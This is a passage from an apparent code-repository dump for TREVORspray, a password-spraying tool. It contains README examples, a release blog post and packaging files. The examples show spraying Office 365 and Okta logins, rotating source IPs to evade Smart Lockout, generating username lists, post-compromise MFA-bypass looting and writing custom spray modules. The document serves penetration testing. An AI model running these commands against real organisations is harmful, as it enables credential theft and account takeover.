87 | ```bash 88 | trevorspray -u bob@evilcorp.com -p 'Welcome123' --delay 5 89 | ``` 90 | 91 | ## Example: Spray and round-robin between 3 IPs (the current IP is also used, unless `-n` is specified) 92 | ```bash 93 | trevorspray -u emails.txt -p 'Welcome123' --ssh root@1.2.3.4 root@4.3.2.1 94 | ``` 95 | 96 | ## Example: Find valid usernames without OSINT >:D 97 | ```bash 98 | # clone wordsmith dataset 99 | wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data 100 | 101 | # order first initial by occurrence 102 | ordered_letters=asjmkdtclrebnghzpyivfowqux 103 | 104 | # loop through first initials 105 | echo -n $ordered_letters | while read -n1 f; do 106 | # loop through top 2000 USA last names 107 | head -n 2000 'usa/lnames.txt' | while read last; do 108 | # generate emails in f.last format 109 | echo "${f}.${last}@evilcorp.com" 110 | done 111 | done | tee f.last.txt 112 | 113 | trevorspray -u f.last.txt -p 'Welcome123' 114 | ``` 115 | 116 | ## Extract data from downloaded LZX files 117 | When TREVORspray successfully bypasses MFA and retrieves an Offline Address Book (OAB), the address book is downloaded in LZX format to `~/.trevorspray/loot`. LZX is an ancient and obnoxious compression algorithm used by Microsoft. 118 | ~~~bash 119 | # get libmspack (for extracting LZX file) 120 | git clone https://github.com/kyz/libmspack 121 | cd libmspack/libmspack/ 122 | ./rebuild.sh 123 | ./configure 124 | make 125 | 126 | # extract LZX file 127 | ./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin 128 | # extract all strings 129 | strings oab.bin 130 | # extract and dedupe emails 131 | egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u 132 | ~~~ 133 | 134 | ## TREVORspray - Help: 135 | ``` 136 | $ trevorspray --help 137 | usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL] 138 | [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent] 139 | [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE] 140 | 141 | A password sprayer with the option to load-balance traffic through SSH hosts 142 | 143 | options: 144 | -h, --help show this help message and exit 145 | 146 | basic arguments: 147 | -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example} 148 | Spray module to use (default: msol) 149 | -up, --userpass USERPASS [USERPASS ...] 150 | file(s) containing username and password pairs (format: 'username:password') 151 | -u, --users USERS [USERS ...] 152 | Usernames(s) and/or file(s) containing usernames 153 | -p, --passwords PASSWORDS [PASSWORDS ...] 154 | Password(s) and/or file(s) containing passwords 155 | --url URL The URL to spray against 156 | -r, --recon, --enumerate DOMAIN 157 | Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration. 158 | --export-tenants FILE 159 | Export all discovered tenant domains to a file 160 | 161 | advanced arguments: 162 | Round-robin traffic through remote systems via SSH (overrides --threads) 163 | 164 | -t, --threads THREADS 165 | Max number of concurrent requests (default: 1) 166 | -f, --force Try all usernames/passwords even if they've been tried before 167 | -d, --delay DELAY Sleep for this many seconds between requests 168 | -ld, --lockout-delay LOCKOUT_DELAY 169 | Sleep for this many additional seconds when a lockout is encountered 170 | -j, --jitter JITTER Add a random delay of up to this many seconds between requests 171 | -e, --exit-on-success 172 | Stop spray when a valid cred is found 173 | -nl, --no-loot Don't execute loot activites for valid accounts 174 | --ignore-lockouts Forces the spray to continue and not stop when multiple account lockouts are detected 175 | --timeout TIMEOUT Connection timeout in seconds (default: 10) 176 | --random-useragent Add a random value to the User-Agent for each request 177 | -6, --prefer-ipv6 Prefer IPv6 over IPv4 178 | --proxy PROXY Proxy to use for HTTP and HTTPS requests 179 | -v, --verbose, --debug 180 | Show which proxy is being used for each request 181 | 182 | SSH Proxy: 183 | Round-robin traffic through remote systems via SSH (overrides --threads) 184 | 185 | -s, --ssh USER@SERVER [USER@SERVER ...] 186 | Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round 187 | -i, -k, --key KEY Use this SSH key when connecting to proxy hosts 188 | -b, --base-port BASE_PORT 189 | Base listening port to use for SOCKS proxies 190 | -n, --no-current-ip Don't spray from the current IP, only use SSH proxies 191 | 192 | Subnet Proxy: 193 | Send traffic from random addresses within IP subnet 194 | 195 | --subnet SUBNET Subnet to send packets from 196 | --interface INTERFACE 197 | Interface to send packets on 198 | ``` 199 | 200 | ## Writing your own Spray Modules 201 | If you need to spray a service/endpoint that's not supported yet, you can write your own spray module! This is a great option because custom modules benefit from all of TREVORspray's features -- e.g. proxies, delay, jitter, etc. 202 | 203 | Writing your own spray module is pretty straightforward. Create a new `.py` file in `lib/sprayers` (e.g. `lib/sprayers/custom_sprayer.py`), and create a class that inherits from `BaseSprayModule`. You can call the class whatever you want. Fill out the HTTP method and any other parameters that you need in the requests (you can reference `lib/sprayers/base.py` or any of the other modules for examples). 204 | - You only need to implement one method on your custom class: `check_response()`. This method evaluates the HTTP response to determine whether the login was successful. 205 | - Once you're finished, you can use the custom spray module by specifying the name of your python file (without the `.py`) on the command line, e.g. `trevorspray -m custom_sprayer -u users.txt -p Welcome123`. 206 | ~~~python 207 | # Example spray module 208 | 209 | from .base import BaseSprayModule 210 | 211 | class SprayModule(BaseSprayModule): 212 | 213 | # HTTP method 214 | method = 'POST' 215 | # default target URL 216 | default_url = 'https://login.evilcorp.com/' 217 | # body of request 218 | request_data = 'user={username}&pass={password}&group={otherthing}' 219 | # HTTP headers 220 | headers = {} 221 | # HTTP cookies 222 | cookies = {} 223 | # Don't count nonexistent accounts as failed logons 224 | fail_nonexistent = False 225 | 226 | headers = { 227 | 'User-Agent': 'Your Moms Smart Vibrator', 228 | } 229 | 230 | def initialize(self): 231 | ''' 232 | Get additional arguments from user at runtime 233 | NOTE: These can also be passed via environment variables beginning with "TREVOR_": 234 | TREVOR_otherthing=asdf 235 | ''' 236 | while not self.trevor.runtimeparams.get('otherthing', ''): 237 | self.trevor.runtimeparams.update({ 238 | 'otherthing': input("What's that other thing? ") 239 | }) 240 | 241 | return True 242 | 243 | 244 | def check_response(self, response): 245 | ''' 246 | returns (valid, exists, locked, msg) 247 | ''' 248 | 249 | valid = False 250 | exists = None 251 | locked = None 252 | msg = '' 253 | 254 | if getattr(response, 'status_code', 0) == 200: 255 | valid = True 256 | exists = True 257 | msg = 'Valid cred' 258 | 259 | return (valid, exists, locked, msg) 260 | ~~~ 261 | 262 | CREDIT WHERE CREDIT IS DUE - MANY THANKS TO: 263 | - [@dafthack](https://twitter.com/dafthack) for writing [MSOLSpray](https://github.com/dafthack/MSOLSpray) 264 | - [@Mrtn9](https://twitter.com/Mrtn9) for his Python port of [MSOLSpray](https://github.com/MartinIngesen/MSOLSpray) 265 | - [@KnappySqwurl](https://twitter.com/KnappySqwurl) for being a splunk wizard 266 | - [@CarsonSallis](https://github.com/CarsonSallis) for the O365 MFA bypasses 267 | - [@DrAzureAD](https://twitter.com/DrAzureAD) for the Azure AD recon features ([AADInternals](https://github.com/Gerenios/AADInternals)) 268 | - [@nyxgeek](https://twitter.com/nyxgeek) for the OneDrive user enumeration ([onedrive_user_enum](https://github.com/nyxgeek/onedrive_user_enum)) 269 | - [@gremwell](https://twitter.com/gremwell) for the Seamless SSO user enumeration ([o365enum](https://github.com/gremwell/o365enum)) 270 | 271 | ![trevor](https://user-images.githubusercontent.com/20261699/92336575-27071380-f070-11ea-8dd4-5ba42c7d04b7.jpeg) 272 | 273 | `#trevorforget` 274 | -------------------------------------------------------------------------------- /blogpost.md: -------------------------------------------------------------------------------- 1 | ### Password spraying is one of the great joys of pentesting. Or at least, it used to be. 2 | 3 | Classically, password spraying has been the single lowest-effort and highest-yield technique for gaining an initial foothold in an organization. This made it pretty fun. You start by gathering up a big list of emails, then you kick off a spray with a stupid password like "Spring2022!", and spend the next ten minutes getting disproportionately large and debatably undeserved hits of dopamine as you discover just how many employees are using that stupid password. 4 | 5 | But alas, with increasing Multi-Factor coverage and defensive countermeasures like Smart Lockout, password spraying becoming more and more of a chore. 6 | 7 | ![slow-password-sprays](https://user-images.githubusercontent.com/20261699/149404528-8c89f989-299a-4bd0-831c-c16c908a9f86.png) 8 | 9 | As pentesters we've been forced to dial back the intensity of our password sprays so that they take hours or days to finish. And even when we find a valid credential, it sometimes doesn't lead anywhere thanks to security policies like MFA. Overall, it's a similar upward trend to what's happening in the phishing space, which is a whole different blog post. But I digress. 10 | 11 | I suppose that, since we work in cybersecurity, we should be happy about these changes, since it means better security for organizations. After all, the goal of our industry is to make hackers' jobs harder. But since we're hackers and it's our job to hack stuff, it's hard to sit idly by and let our favorite passtime of password spraying go the way of the dodo. 12 | 13 | What I'm trying to say is that we're frustrated. And when hackers are frustrated, they write code. So it is with great delight that we are open-sourcing some new tools, which are the product of our frustration, and will hopefully help to make password spraying fun again. 14 | 15 | # Introducing TREVORproxy and TREVORspray 2.0 16 | 17 | When I set out to write these tools, the biggest problem I wanted to solve was **Smart Lockout**. 18 | 19 | **Smart Lockout** tries to lock out attackers without locking out legitimate users. So basically, it's a fancy word for a lockout mechanism that considers the source IP address when locking an account. There are nuances -- like how Smart Lockout is often powered by machine learning, which makes it inconsistent and unpredictable -- but this is the gist of it. 20 | 21 | ![smart-lockout-at-work](https://user-images.githubusercontent.com/20261699/149381950-add2eceb-e467-4259-a24b-dfacfdef4b2c.gif) 22 | Smart Lockout at Work 23 | 24 | ## TREVORproxy 25 | 26 | ![trevorproxy-diagram](https://user-images.githubusercontent.com/20261699/149545633-a2f14f3a-1abc-4f9a-b589-3a52385ba635.png) 27 | TREVORproxy IPv6 Subnet Proxy Diagram 28 | 29 | [**TREVORproxy**](https://github.com/blacklanternsecurity/TREVORproxy) is a simple SOCKS proxy that helps avoid Smart Lockout by load-balancing your requests between multiple IP addresses. It accomplishes this with built-in Linux features -- no complex OpenVPN setups or strange firewall configurations. You can use this proxy with Burp Suite, your spraying tool of choice, or even your web browser. 30 | 31 | There are two techniques that TREVORproxy can use to spread your requests across multiple IP addresses: an **SSH Proxy** and a **Subnet Proxy**. 32 | 33 | ### SSH Proxy 34 | The SSH Proxy is pretty straightforward. You give TREVORproxy some hosts that support SSH, and it sends your traffic through them, making sure to balance equally between all the hosts. 35 | ~~~bash 36 | trevorproxy ssh root@1.2.3.4 root@4.3.2.1 37 | ~~~ 38 | ![ssh-proxy](https://user-images.githubusercontent.com/20261699/149403633-3b6259c4-6c13-4ae5-abe6-498024a155f5.gif) 39 | TREVORproxy SSH Proxy Demo 40 | 41 | ### Subnet Proxy 42 | The subnet proxy can be a lot of fun. If you have access to a `/64` IPv6 subnet ([Linode](https://www.linode.com/) is perfect for this), TREVORproxy will load-balance your requests across **eighteen quintillion** (18,446,744,073,709,551,616) unique source addresses. 43 | 44 | Note that if you're using the subnet proxy in IPv6 mode, your target must also support IPv6. 45 | 46 | ~~~bash 47 | sudo trevorproxy subnet -s dead:beef::0/64 -i eth0 48 | ~~~ 49 | ![subnet-proxy](https://user-images.githubusercontent.com/20261699/142468206-4e9a46db-b18b-4969-8934-19d1f3837300.gif) 50 | TREVORproxy Subnet Proxy Demo 51 | 52 | ## TREVORspray 53 | 54 | [**TREVORspray**](https://github.com/blacklanternsecurity/TREVORspray) is a modular password sprayer with built-in TREVORproxy support. It has the following features: 55 | - Threads, lots of threads 56 | - Multiple modules 57 | - `msol` (Office 365) 58 | - `adfs` (Active Directory Federation Services) 59 | - `okta` (Okta SSO) 60 | - `anyconnect` (Cisco VPN) 61 | - custom modules (easy to make!) 62 | - Tells you the status of each account: if it exists, is locked, has MFA enabled, etc. (when supported) 63 | - Automatic cancel/resume (remembers already-tried user/pass combos in `~/.trevorspray/tried_logins.txt`) 64 | - Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet) 65 | - Spoofs `User-Agent` and other signatures to look like legitimate auth traffic 66 | - Comprehensive logging 67 | - Optional `--delay`, `--jitter`, and `--lockout-delay` between requests to bypass lockout countermeasures 68 | - IPv6 support 69 | - O365 MFA bypass support (disable with `--no-loot`) 70 | - IMAP 71 | - SMTP 72 | - POP 73 | - EWS (Exchange Web Services) - Automatically retrieves GAL (Global Address Book) 74 | - EAS (Exchange ActiveSync) 75 | - EXO (Exchange Online PowerShell) 76 | - UM (Exchange Unified Messaging) 77 | - AutoDiscover - Automatically retrieves OAB (Offline Address Book) 78 | - Azure Portal Access 79 | - Domain `--recon` to list MX/TXT records, O365 tenant info, federation configuration, autodiscover, etc. 80 | 81 | ### TREVORspray Example - O365 Password Spray + MFA Bypass 82 | Note that the eight O365 MFA bypass checks listed above are automatically executed when a valid cred is found. 83 | ~~~bash 84 | # --delay Sleep for this many seconds between requests 85 | # --lockout-delay Sleep for this many additional seconds when a lockout is encountered 86 | # --jitter Add a random delay of up to this many seconds between requests 87 | 88 | trevorspray -u emails.txt -p 'Spring2022!' --ssh root@1.2.3.4 root@4.3.2.1 --delay 30 --lockout-delay 30 --jitter 10 89 | ~~~ 90 | 91 | ![trevorspray-demo](https://user-images.githubusercontent.com/20261699/149219712-8549e15c-2eee-4d7a-a615-e8882b693c3f.gif) 92 | TREVORspray Password Spray + MFA Bypass Demo 93 | 94 | ### TREVORspray Example - Domain Recon 95 | ~~~bash 96 | trevorspray --recon evilcorp.com 97 | ~~~ 98 | 99 | ![trevorspray-recon](https://user-images.githubusercontent.com/20261699/149547162-a1affc75-8ac2-478a-9cf9-ad99b41d79c5.gif) 100 | TREVORspray Domain Recon Demo 101 | 102 | ## Conclusion 103 | 104 | By combining the IP-shuffling capability of TREVORproxy and TREVORspray's customizable `--delay`, `--jitter`, and `--lockout-delay` options, you can confuse Smart Lockout and boost the speed and effectiveness of your password sprays. For more examples and in-depth explanations of these concepts, please see the projects' READMEs. 105 | 106 | - https://github.com/blacklanternsecurity/TREVORproxy 107 | - https://github.com/blacklanternsecurity/TREVORspray 108 | 109 | Happy spraying! 110 | 111 | -[TheTechromancer](https://twitter.com/thetechr0mancer) 112 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "trevorspray" 3 | version = "2.3.0" 4 | description = "A modular password sprayer with threading, SSH proxying, loot modules, and more" 5 | authors = ["TheTechromancer"] 6 | license = "GPL-3.0" 7 | repository = "https://github.com/blacklanternsecurity/TREVORspray" 8 | homepage = "https://github.com/blacklanternsecurity/TREVORspray" 9 | 10 | [tool.poetry.dependencies] 11 | python = "^3.9" 12 | pygments = "^2.19.1" 13 | sh = "^2.2.1" 14 | pysocks = "^1.7.1" 15 | exchangelib = "^5.5.0" 16 | trevorproxy = "^1.0.8" 17 | tldextract = "^5.1.3" 18 | beautifulsoup4 = "^4.12.3" 19 | mechanicalsoup = "^1.3.0" 20 | 21 | [tool.poetry.scripts] 22 | trevorspray = 'trevorspray.cli:main' 23 | 24 | [tool.poetry.dev-dependencies] 25 | 26 | [tool.poetry.group.dev.dependencies] 27 | flake8 = "^6.1.0" 28 | black = "^23.7.0" 29 | 30 | [build-system] 31 | requires = ["poetry-core>=1.0.0"] 32 | build-backend = "poetry.core.masonry.api" 33 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | backports-datetime-fromisoformat==1.0.0; python_version < "3.7" and python_version >= "3.6" \ 2 | --hash=sha256:9577a2a9486cd7383a5f58b23bb8e81cf0821dbbc0eb7c87d3fa198c1df40f5c 3 | backports.zoneinfo==0.2.1; python_version < "3.9" and python_version >= "3.6" and (python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version >= "3.6") \ 4 | --hash=sha256:da6013fd84a690242c310d77ddb8441a559e9cb3d3d59ebac9aca1a57b2e18bc \ 5 | --hash=sha256:89a48c0d158a3cc3f654da4c2de1ceba85263fafb861b98b59040a5086259722 \ 6 | --hash=sha256:1c5742112073a563c81f786e77514969acb58649bcdf6cdf0b4ed31a348d4546 \ 7 | --hash=sha256:e8236383a20872c0cdf5a62b554b27538db7fa1bbec52429d8d106effbaeca08 \ 8 | --hash=sha256:8439c030a11780786a2002261569bdf362264f605dfa4d65090b64b05c9f79a7 \ 9 | --hash=sha256:f04e857b59d9d1ccc39ce2da1021d196e47234873820cbeaad210724b1ee28ac \ 10 | --hash=sha256:17746bd546106fa389c51dbea67c8b7c8f0d14b5526a579ca6ccf5ed72c526cf \ 11 | --hash=sha256:5c144945a7752ca544b4b78c8c41544cdfaf9786f25fe5ffb10e838e19a27570 \ 12 | --hash=sha256:e55b384612d93be96506932a786bbcde5a2db7a9e6a4bb4bffe8b733f5b9036b \ 13 | --hash=sha256:a76b38c52400b762e48131494ba26be363491ac4f9a04c1b7e92483d169f6582 \ 14 | --hash=sha256:8961c0f32cd0336fb8e8ead11a1f8cd99ec07145ec2931122faaac1c8f7fd987 \ 15 | --hash=sha256:e81b76cace8eda1fca50e345242ba977f9be6ae3945af8d46326d776b4cf78d1 \ 16 | --hash=sha256:7b0a64cda4145548fed9efc10322770f929b944ce5cee6c0dfe0c87bf4c0c8c9 \ 17 | --hash=sha256:1b13e654a55cd45672cb54ed12148cd33628f672548f373963b0bff67b217328 \ 18 | --hash=sha256:4a0f800587060bf8880f954dbef70de6c11bbe59c673c3d818921f042f9954a6 \ 19 | --hash=sha256:fadbfe37f74051d024037f223b8e001611eac868b5c5b06144ef4d8b799862f2 20 | beautifulsoup4==4.10.0; python_full_version > "3.0.0" \ 21 | --hash=sha256:9a315ce70049920ea4572a4055bc4bd700c940521d36fc858205ad4fcde149bf \ 22 | --hash=sha256:c23ad23c521d818955a4151a67d81580319d4bf548d3d49f4223ae041ff98891 23 | cached-property==1.5.2; python_version >= "3.6" \ 24 | --hash=sha256:9fa5755838eecbb2d234c3aa390bd80fbd3ac6b6869109bfc1b499f7bd89a130 \ 25 | --hash=sha256:df4f613cf7ad9a588cc381aaf4a512d26265ecebd5eb9e1ba12f1319eb85a6a0 26 | certifi==2023.7.22; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version >= "3.6" \ 27 | --hash=sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569 \ 28 | --hash=sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872 29 | cffi==1.15.0; python_version >= "3.6" \ 30 | --hash=sha256:c2502a1a03b6312837279c8c1bd3ebedf6c12c4228ddbad40912d671ccc8a962 \ 31 | --hash=sha256:23cfe892bd5dd8941608f93348c0737e369e51c100d03718f108bf1add7bd6d0 \ 32 | --hash=sha256:41d45de54cd277a7878919867c0f08b0cf817605e4eb94093e7516505d3c8d14 \ 33 | --hash=sha256:4a306fa632e8f0928956a41fa8e1d6243c71e7eb59ffbd165fc0b41e316b2474 \ 34 | --hash=sha256:e7022a66d9b55e93e1a845d8c9eba2a1bebd4966cd8bfc25d9cd07d515b33fa6 \ 35 | --hash=sha256:14cd121ea63ecdae71efa69c15c5543a4b5fbcd0bbe2aad864baca0063cecf27 \ 36 | --hash=sha256:d4d692a89c5cf08a8557fdeb329b82e7bf609aadfaed6c0d79f5a449a3c7c023 \ 37 | --hash=sha256:0104fb5ae2391d46a4cb082abdd5c69ea4eab79d8d44eaaf79f1b1fd806ee4c2 \ 38 | --hash=sha256:91ec59c33514b7c7559a6acda53bbfe1b283949c34fe7440bcf917f96ac0723e \ 39 | --hash=sha256:f5c7150ad32ba43a07c4479f40241756145a1f03b43480e058cfd862bf5041c7 \ 40 | --hash=sha256:00c878c90cb53ccfaae6b8bc18ad05d2036553e6d9d1d9dbcf323bbe83854ca3 \ 41 | --hash=sha256:abb9a20a72ac4e0fdb50dae135ba5e77880518e742077ced47eb1499e29a443c \ 42 | --hash=sha256:a5263e363c27b653a90078143adb3d076c1a748ec9ecc78ea2fb916f9b861962 \ 43 | --hash=sha256:f54a64f8b0c8ff0b64d18aa76675262e1700f3995182267998c31ae974fbc382 \ 44 | --hash=sha256:c21c9e3896c23007803a875460fb786118f0cdd4434359577ea25eb556e34c55 \ 45 | --hash=sha256:5e069f72d497312b24fcc02073d70cb989045d1c91cbd53979366077959933e0 \ 46 | --hash=sha256:64d4ec9f448dfe041705426000cc13e34e6e5bb13736e9fd62e34a0b0c41566e \ 47 | --hash=sha256:2756c88cbb94231c7a147402476be2c4df2f6078099a6f4a480d239a8817ae39 \ 48 | --hash=sha256:3b96a311ac60a3f6be21d2572e46ce67f09abcf4d09344c49274eb9e0bf345fc \ 49 | --hash=sha256:75e4024375654472cc27e91cbe9eaa08567f7fbdf822638be2814ce059f58032 \ 50 | --hash=sha256:59888172256cac5629e60e72e86598027aca6bf01fa2465bdb676d37636573e8 \ 51 | --hash=sha256:27c219baf94952ae9d50ec19651a687b826792055353d07648a5695413e0c605 \ 52 | --hash=sha256:4958391dbd6249d7ad855b9ca88fae690783a6be9e86df65865058ed81fc860e \ 53 | --hash=sha256:f6f824dc3bce0edab5f427efcfb1d63ee75b6fcb7282900ccaf925be84efb0fc \ 54 | --hash=sha256:06c48159c1abed75c2e721b1715c379fa3200c7784271b3c46df01383b593636 \ 55 | --hash=sha256:c2051981a968d7de9dd2d7b87bcb9c939c74a34626a6e2f8181455dd49ed69e4 \ 56 | --hash=sha256:fd8a250edc26254fe5b33be00402e6d287f562b6a5b2152dec302fa15bb3e997 \ 57 | --hash=sha256:91d77d2a782be4274da750752bb1650a97bfd8f291022b379bb8e01c66b4e96b \ 58 | --hash=sha256:45db3a33139e9c8f7c09234b5784a5e33d31fd6907800b316decad50af323ff2 \ 59 | --hash=sha256:263cc3d821c4ab2213cbe8cd8b355a7f72a8324577dc865ef98487c1aeee2bc7 \ 60 | --hash=sha256:17771976e82e9f94976180f76468546834d22a7cc404b17c22df2a2c81db0c66 \ 61 | --hash=sha256:3415c89f9204ee60cd09b235810be700e993e343a408693e80ce7f6a40108029 \ 62 | --hash=sha256:4238e6dab5d6a8ba812de994bbb0a79bddbdf80994e4ce802b6f6f3142fcc880 \ 63 | --hash=sha256:0808014eb713677ec1292301ea4c81ad277b6cdf2fdd90fd540af98c0b101d20 \ 64 | --hash=sha256:57e9ac9ccc3101fac9d6014fba037473e4358ef4e89f8e181f8951a2c0162024 \ 65 | --hash=sha256:8b6c2ea03845c9f501ed1313e78de148cd3f6cad741a75d43a29b43da27f2e1e \ 66 | --hash=sha256:10dffb601ccfb65262a27233ac273d552ddc4d8ae1bf93b21c94b8511bffe728 \ 67 | --hash=sha256:786902fb9ba7433aae840e0ed609f45c7bcd4e225ebb9c753aa39725bb3e6ad6 \ 68 | --hash=sha256:da5db4e883f1ce37f55c667e5c0de439df76ac4cb55964655906306918e7363c \ 69 | --hash=sha256:181dee03b1170ff1969489acf1c26533710231c58f95534e3edac87fff06c443 \ 70 | --hash=sha256:45e8636704eacc432a206ac7345a5d3d2c62d95a507ec70d62f23cd91770482a \ 71 | --hash=sha256:31fb708d9d7c3f49a60f04cf5b119aeefe5644daba1cd2a0fe389b674fd1de37 \ 72 | --hash=sha256:6dc2737a3674b3e344847c8686cf29e500584ccad76204efea14f451d4cc669a \ 73 | --hash=sha256:74fdfdbfdc48d3f47148976f49fab3251e550a8720bebc99bf1483f5bfb5db3e \ 74 | --hash=sha256:ffaa5c925128e29efbde7301d8ecaf35c8c60ffbcd6a1ffd3a552177c8e5e796 \ 75 | --hash=sha256:3f7d084648d77af029acb79a0ff49a0ad7e9d09057a9bf46596dac9514dc07df \ 76 | --hash=sha256:ef1f279350da2c586a69d32fc8733092fd32cc8ac95139a00377841f59a3f8d8 \ 77 | --hash=sha256:2a23af14f408d53d5e6cd4e3d9a24ff9e05906ad574822a10563efcef137979a \ 78 | --hash=sha256:3773c4d81e6e818df2efbc7dd77325ca0dcb688116050fb2b3011218eda36139 \ 79 | --hash=sha256:920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954 80 | charset-normalizer==2.0.11; python_full_version >= "3.6.0" and python_version >= "3.6" \ 81 | --hash=sha256:98398a9d69ee80548c762ba991a4728bfc3836768ed226b3945908d1a688371c \ 82 | --hash=sha256:2842d8f5e82a1f6aa437380934d5e1cd4fcf2003b06fed6940769c164a480a45 83 | cryptography==42.0.2; python_version >= "3.6" \ 84 | --hash=sha256:73bc2d3f2444bcfeac67dd130ff2ea598ea5f20b40e36d19821b4df8c9c5037b \ 85 | --hash=sha256:2d87cdcb378d3cfed944dac30596da1968f88fb96d7fc34fdae30a99054b2e31 \ 86 | --hash=sha256:74d6c7e80609c0f4c2434b97b80c7f8fdfaa072ca4baab7e239a15d6d70ed73a \ 87 | --hash=sha256:6c0c021f35b421ebf5976abf2daacc47e235f8b6082d3396a2fe3ccd537ab173 \ 88 | --hash=sha256:5d59a9d55027a8b88fd9fd2826c4392bd487d74bf628bb9d39beecc62a644c12 \ 89 | --hash=sha256:0a817b961b46894c5ca8a66b599c745b9a3d9f822725221f0e0fe49dc043a3a3 \ 90 | --hash=sha256:94ae132f0e40fe48f310bba63f477f14a43116f05ddb69d6fa31e93f05848ae2 \ 91 | --hash=sha256:7be0eec337359c155df191d6ae00a5e8bbb63933883f4f5dffc439dac5348c3f \ 92 | --hash=sha256:e0344c14c9cb89e76eb6a060e67980c9e35b3f36691e15e1b7a9e58a0a6c6dc3 \ 93 | --hash=sha256:4caa4b893d8fad33cf1964d3e51842cd78ba87401ab1d2e44556826df849a8ca \ 94 | --hash=sha256:391432971a66cfaf94b21c24ab465a4cc3e8bf4a939c1ca5c3e3a6e0abebdbcf \ 95 | --hash=sha256:bb5829d027ff82aa872d76158919045a7c1e91fbf241aec32cb07956e9ebd3c9 \ 96 | --hash=sha256:ebc15b1c22e55c4d5566e3ca4db8689470a0ca2babef8e3a9ee057a8b82ce4b1 \ 97 | --hash=sha256:596f3cd67e1b950bc372c33f1a28a0692080625592ea6392987dba7f09f17a94 \ 98 | --hash=sha256:30ee1eb3ebe1644d1c3f183d115a8c04e4e603ed6ce8e394ed39eea4a98469ac \ 99 | --hash=sha256:ec63da4e7e4a5f924b90af42eddf20b698a70e58d86a72d943857c4c6045b3ee \ 100 | --hash=sha256:ca238ceb7ba0bdf6ce88c1b74a87bffcee5afbfa1e41e173b1ceb095b39add46 \ 101 | --hash=sha256:ca28641954f767f9822c24e927ad894d45d5a1e501767599647259cbf030b903 \ 102 | --hash=sha256:39bdf8e70eee6b1c7b289ec6e5d84d49a6bfa11f8b8646b5b3dfe41219153316 \ 103 | --hash=sha256:53e5c1dc3d7a953de055d77bef2ff607ceef7a2aac0353b5d630ab67f7423638 104 | defusedxml==0.7.1; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.5.0" and python_version >= "3.6" \ 105 | --hash=sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61 \ 106 | --hash=sha256:1bb3032db185915b62d7c6209c5a8792be6a32ab2fedacc84e01b52c51aa3e69 107 | dnspython==2.6.0rc1; python_version >= "3.6" and python_version < "4.0" \ 108 | --hash=sha256:081649da27ced5e75709a1ee542136eaba9842a0fe4c03da4fb0a3d3ed1f3c44 \ 109 | --hash=sha256:e79351e032d0b606b98d38a4b0e6e2275b31a5b85c873e587cc11b73aca026d6 110 | exchangelib==4.6.2; python_version >= "3.6" \ 111 | --hash=sha256:c919fe919ed7dc67c20491c22f0143607a6e2c8efb04ac428929a1fa197c392a \ 112 | --hash=sha256:7e7555a4e89a6910ab76140b598ee9fe8fd5a322e98cc0d059d7d8a24f6146d7 113 | filelock==3.4.1; python_version >= "3.6" \ 114 | --hash=sha256:a4bc51381e01502a30e9f06dd4fa19a1712eab852b6fb0f84fd7cce0793d8ca3 \ 115 | --hash=sha256:0f12f552b42b5bf60dba233710bf71337d35494fc8bdd4fd6d9f6d082ad45e06 116 | idna==3.7; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version >= "3.6" \ 117 | --hash=sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff \ 118 | --hash=sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d 119 | importlib-resources==5.4.0; python_version < "3.7" and python_version >= "3.6" \ 120 | --hash=sha256:33a95faed5fc19b4bc16b29a6eeae248a3fe69dd55d4d229d2b480e23eeaad45 \ 121 | --hash=sha256:d756e2f85dd4de2ba89be0b21dba2a3bbec2e871a42a3a16719258a11f87506b 122 | isodate==0.6.1; python_version >= "3.6" \ 123 | --hash=sha256:0751eece944162659049d35f4f549ed815792b38793f07cf73381c1c87cbed96 \ 124 | --hash=sha256:48c5881de7e8b0a0d648cb024c8062dc84e7b840ed81e864c7614fd3c127bde9 125 | lxml==4.9.1; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.5.0" and python_version >= "3.6" \ 126 | --hash=sha256:d546431636edb1d6a608b348dd58cc9841b81f4116745857b6cb9f8dadb2725f \ 127 | --hash=sha256:6308062534323f0d3edb4e702a0e26a76ca9e0e23ff99be5d82750772df32a9e \ 128 | --hash=sha256:f76dbe44e31abf516114f6347a46fa4e7c2e8bceaa4b6f7ee3a0a03c8eba3c17 \ 129 | --hash=sha256:d5618d49de6ba63fe4510bdada62d06a8acfca0b4b5c904956c777d28382b419 \ 130 | 